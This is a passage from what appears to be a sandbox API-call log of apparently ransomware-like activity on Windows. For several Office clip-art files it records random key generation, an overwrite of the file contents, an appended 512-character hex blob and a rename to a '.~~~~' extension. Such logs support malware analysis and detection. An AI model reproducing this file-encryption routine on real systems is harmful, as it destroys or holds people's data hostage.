	[0105.448] WriteFile (in: hFile=0x140, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0x1334, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x1f8fec0*=0x1334, lpOverlapped=0x0) returned 1
	[0105.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0105.450] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.450] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.450] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.450] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.450] CloseHandle (hObject=0x140) returned 1
	[0105.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0105.450] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf.~~~~")) returned 1
	[0105.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0105.452] GetLastError () returned 0x0
	[0105.452] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0105.454] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.454] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0105.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0105.454] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22544444264) returned 1
	[0105.454] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa88831d0, dwHighDateTime=0x1d60e1e)) 
	[0105.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0105.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0105.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0105.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286cf70
	[0105.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286cf70 | out: hHeap=0x300000) returned 1
	[0105.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0105.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286bb18
	[0105.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.455] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0105.456] GetLastError () returned 0x0
	[0105.456] GetLastError () returned 0x0
	[0105.456] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0105.456] GetLastError () returned 0x0
	[0105.456] GetLastError () returned 0x0
	[0105.519] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe2c4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.519] WriteFile (in: hFile=0x140, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0x1d3c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x1f8fec0*=0x1d3c, lpOverlapped=0x0) returned 1
	[0105.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0105.526] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.526] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.527] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.527] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.527] CloseHandle (hObject=0x140) returned 1
	[0105.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898030
	[0105.697] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf.~~~~")) returned 1
	[0105.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898030 | out: hHeap=0x300000) returned 1
	[0105.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0105.700] GetLastError () returned 0x0
	[0105.701] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0105.702] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.702] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0105.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0105.702] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22569192419) returned 1
	[0105.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa8ae47d0, dwHighDateTime=0x1d60e1e)) 
	[0105.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0105.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0105.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0105.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d130
	[0105.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d130 | out: hHeap=0x300000) returned 1
	[0105.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898030
	[0105.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286bbb0
	[0105.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898030 | out: hHeap=0x300000) returned 1
	[0105.703] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0105.703] GetLastError () returned 0x0
	[0105.703] GetLastError () returned 0x0
	[0105.703] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0105.703] GetLastError () returned 0x0
	[0105.703] GetLastError () returned 0x0
	[0105.708] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffebe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.708] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1418, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1418, lpOverlapped=0x0) returned 1
	[0105.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0105.710] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.710] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.710] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.710] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.710] CloseHandle (hObject=0x128) returned 1
	[0105.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898030
	[0105.711] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf.~~~~")) returned 1
	[0105.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898030 | out: hHeap=0x300000) returned 1
	[0105.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0105.712] GetLastError () returned 0x0
	[0105.713] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0105.714] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.714] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0105.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0105.715] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22570481456) returned 1
	[0105.715] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa8b0a930, dwHighDateTime=0x1d60e1e)) 
	[0105.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0105.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0105.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0105.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d168
	[0105.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d168 | out: hHeap=0x300000) returned 1
	[0105.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898030
	[0105.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286c070
	[0105.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898030 | out: hHeap=0x300000) returned 1
	[0105.715] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0105.716] GetLastError () returned 0x0
	[0105.716] GetLastError () returned 0x0
	[0105.716] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0105.716] GetLastError () returned 0x0
	[0105.716] GetLastError () returned 0x0
	[0105.720] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe668, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.720] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1998, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1998, lpOverlapped=0x0) returned 1
	[0105.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0105.721] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.721] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.721] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.721] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.721] CloseHandle (hObject=0x128) returned 1
	[0105.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898030
	[0105.721] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf.~~~~")) returned 1
	[0105.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898030 | out: hHeap=0x300000) returned 1
	[0105.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0105.722] GetLastError () returned 0x0
	[0105.723] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0105.724] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.724] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0105.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0105.724] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22571427357) returned 1
	[0105.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa8b0a930, dwHighDateTime=0x1d60e1e)) 
	[0105.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0105.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0105.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0105.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d1a0
	[0105.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d1a0 | out: hHeap=0x300000) returned 1
	[0105.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898030
	[0105.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867f30
	[0105.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898030 | out: hHeap=0x300000) returned 1
	[0105.725] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0105.725] GetLastError () returned 0x0
	[0105.725] GetLastError () returned 0x0
	[0105.725] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0105.725] GetLastError () returned 0x0
	[0105.726] GetLastError () returned 0x0
	[0105.940] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe3c0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.940] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1c40, lpOverlapped=0x0) returned 1
	[0105.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0105.941] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.941] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.941] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.941] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.941] CloseHandle (hObject=0x128) returned 1
	[0105.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0105.941] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf.~~~~")) returned 1
	[0106.061] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.061] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0106.061] GetLastError () returned 0x0
	[0106.061] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0106.062] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.062] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0106.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0106.063] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22605290250) returned 1
	[0106.063] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa8e50770, dwHighDateTime=0x1d60e1e)) 
	[0106.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0106.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0106.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0106.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d4e8
	[0106.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d4e8 | out: hHeap=0x300000) returned 1
	[0106.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872008
	[0106.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.064] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0106.064] GetLastError () returned 0x0
	[0106.064] GetLastError () returned 0x0
